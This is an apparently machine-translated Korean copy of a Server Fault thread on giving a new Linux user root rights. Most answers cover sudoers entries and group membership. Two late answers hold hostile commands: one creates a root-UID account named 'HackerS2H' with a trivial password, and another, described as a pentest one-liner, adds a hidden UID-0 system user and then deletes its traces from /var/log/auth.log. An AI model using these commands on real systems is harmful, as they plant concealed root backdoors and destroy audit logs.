Linux에서 루트 액세스 권한이있는 새로운 사용자 추가


31

새 사용자를 추가하고 새 사용자에게 모든 루트 액세스 권한을 부여 / 부여하고 싶습니다. 어떻게해야합니까?

나는 sudo adduser --system testuser했지만 예상대로 작동하지 않습니다.

도와 주셔서 감사합니다.

답변:


62

실제로 올바른 방법, 잘못된 방법 및 못생긴 방법의 세 가지 방법이 있습니다.

먼저 일반 사용자 계정을 만드십시오 .

adduser username

그런 다음 다음 중 하나를 선택하십시오.


옳은 길

다음 과 같이 그룹에 sudo대한 항목을 작성하십시오 .wheel/etc/sudoers

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

또는 "현대"버전의 경우 :

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

그런 다음 사용자를 wheel그룹에 추가하십시오 . 관리 권한이있는 사용자를 추가하고 제거하면 sudo에서 항목을 작성하는 대신 바퀴에 사용자를 추가하는 것을 기억하는 기능이됩니다. 휠을 사용할 때의 가장 큰 장점은이 메커니즘을 그룹을 지원하는 다른 인증 체계 (예 : winbind / Active Directory)로 확장하고 프로세스의 이점을 활용할 수 있다는 것입니다. 휠을 관리자 권한이있는 인증 스키마의 그룹에 매핑하여이를 수행 할 수 있습니다.

일부 배포판은 다른 관리 계정을 사용합니다. 휠이에 "전통적인"방법입니다,하지만 당신은 발생할 수있는 admin, adm그리고 같은 용도로 다른 그룹 계정.

후속 편집 :

우분투 가이 목적을 위해 그룹으로 사용한다는 점을 지적하면서 Bart Silverstrim 을 지적해야합니다 admin. 그는 당시에 우분투 태그를 알지 못했지만 그는 이것을 처음으로 얻었습니다. 다시 말하지만, 그것은 당신이 사용하는 배포판에 달려 있습니다.


못생긴 방법

해당 사용자 계정에 대한 sudo 항목을 작성하고 완전한 액세스 권한을 부여하십시오. 다시, 다음 /etc/sudoers과 같이 항목을 작성하십시오 .

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

추가 : ## 우분투 버전 : username ALL = (ALL : ALL)

하나 또는 두 개의 일반 계정 만있는 경우 유용합니다. 여러 (지리학 적) 사이트에 대해 100 개의 계정이 있고 sudo 파일을 지속적으로 유지 관리해야 할 경우에는 추악합니다.


잘못된 길

/etc/passwd파일을 편집하고 번호에 관계없이 사용자 계정 ID를 (으)로 변경할 수 있습니다 0. 맞습니다, 제로 .

username:x:0:502::/home/username:/bin/bash

세 번째 항목이 0으로 표시됩니까? 귀하가 해당 계정에 로그인하면 귀하는 모든 효과적인 목적으로 root입니다. 나는 이것을 권장하지 않습니다. "누가"인지 기억 나지 않으면 파일을 만들고 만지기 시작할 때 모든 종류의 혼란을 만들 수 있습니다 root. root그룹에 사용자 이름을 추가 할 수도 있습니다 . 이것은 파일 액세스에도 같은 효과가 있지만 다른 문제가 발생합니다. 프로그램은 사용자 가 아니라는 사실을 알고 root실행을 거부하지만 group에 속하는 파일에 액세스 할 수 있습니다 root.

이 작업을 수행했다면 vipw그냥 편집 하는 대신 사용 했 vi습니까? (또는 좋아하는 텍스트 편집기가 무엇이든) 결국,이 파일의 단일 오타가 시스템을 잠글 수 있습니다. 즉, 복구 디스크로 문제가되는 컴퓨터를 실제로 방문해야합니다.


2
나는 잘못된 길을 문서화하지 않을 것입니다. 너무 금기.
elcuco

15
동의하지 않습니다. 잘못을 숨기면 사라지지 않고 그냥 훼방됩니다. 때로는 금지 된 지식이 생각보다 더 많은 관심을 끌고 있습니다. 금기 인지 이해 하는 것이 좋습니다. 특히 지식이 필요할 수있는 상황이있을 때 (특히 드문 경우). 그래도 실제로 얼마나 나쁜지 지적 할 수있는 요점을 알려 드리겠습니다. :)
Avery Payne

1
"결국이 파일의 단일 오타가 시스템에서 사용자를 잠글 수 있습니다."-퍼티 세션을 모두 해제 한 후 (퍼티를 사용한다고 가정) 잠금이 해제 될 수 있습니다. 연결을 끊지 않고 다른 세션을 열어 설정을 테스트하는 한 괜찮습니다.
quamis

1
@quamis-맞습니다. 나는 "화재하고 잊어 버리는"것이 안전하다고 가정 할 때 위험을 지적하려고 노력했지만. :) 좋은 연습을 지적하기위한 당신을위한 요점- 항상 설정을 테스트하십시오 .
Avery Payne

1
유닉스에서 전통적으로 '휠'그룹 (이진, 플래그 수준 높이 포함)이 더 이상 sudo로 상승 할 수있는 사용자 그룹의 일반적인 용어가 아니라는 점에 주목하고 싶습니다. 내 경험상, sudo 할 수있는 사람들 그룹의 가장 일반적인 이름은 오늘날 일반적으로 '사도 자'이며 대부분의 시스템에 이미 설정되어 있습니다.
보얀 마르코비치

3

나는 이것을 수년간 사용해 왔으며 AskUbuntu에 sudoer를 추가하는 가장 좋은 방법입니다 .

adduser existinguser sudo

파일을 편집하는 것보다 훨씬 간단하며 무인 설치를 위해 쉘 스크립트에 쉽게 넣을 수 있습니다.

사용자를 작성하고 sudo 권한을 부여하려면 다음과 같이 한 줄로 수행하십시오.

useradd newuser -m -G sudo
passwd newuser

-m홈 디렉토리를 작성하고 -G보충 그룹을 지정합니다.


2

그리고 이것은 100 %입니다 :

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

퍼티 및 IP 서버와 연결


1

adduser로 사용자를 만들 수 있습니다. man adduser를 참조하십시오.
루트 또는 휠과 같은 권한있는 그룹에 추가 할 수 있습니다. 그러나 일부 권한을 갖는 가장 권장되는 방법은 sudo를 사용하는 것입니다.


1

당신은 수행 할 수 있습니다 :

#useradd -m -g root alex

루트 그룹에 속하는 홈 디렉토리로 사용자 Alex를 작성합니다.


1

Avery Payne의 답변에 추가 : 우분투에서는 다음과 같이 원할 수 있습니다.

%sudo   ALL=(ALL:ALL) ALL

그리고 그렇지 않습니다 :

%sudo    ALL=(ALL) ALL

0

"추악하고 지저분한"방법은 / etc / passwd를 편집하여 새 사용자에 대해 UID = 0 및 GID = 0을 갖도록하는 것입니다. 그러나 이것은 많은 보안 위험을 초래 합니다. 당신은 그가 또한 루트라면 그는 당신의 accont를 비활성화하고, 암호를 변경하고, 당신을 "표준 사용자"로 만들 수 있다는 것을 알고 있습니다 ... 맞습니까? 그렇다면 왜 당신에게 자신의 계정을 제공하지 않습니까?

몇 가지 명령에 대해서만 루트 액세스 권한을 부여하려는 경우 suid ( http://en.wikipedia.org/wiki/Setuid ) 작동 방식을 연구 할 수 있습니다 .


-1

하나의 라이너가 있습니다.

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

베스트,


1
uid 0으로 추가 사용자를 추가하는 것은 좋은 생각이 아닙니다. 자세한 내용은 가장 많은 표를 얻은 답변을 참조하십시오.
제랄드 슈나이더

@ GeraldSchneider 나는 그것이 좋은 생각이라고 결코 말하지 않았다 ... 잘 알고 있습니다 ... 그리고 솔직히 우리의 관심사가 아닙니다. 그것의 1 개의 강선, 항상 pentests에서 그것을 사용하십시오. 감사합니다
Boschko
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.